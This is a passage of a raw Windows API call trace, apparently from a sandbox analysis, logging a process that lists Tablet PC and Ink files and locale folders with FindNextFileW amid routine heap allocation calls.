ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff708 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f60e0 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff728 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6168 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff748 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f61f0 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff768 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6278 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff788 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6300 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0232.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff7a8 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6388 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff7c8 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6410 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff7e8 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6498 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff808 [0232.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6520 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff828 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f65a8 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff848 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6630 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff868 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f66b8 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0232.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0232.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0232.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] FindNextFileW (in: 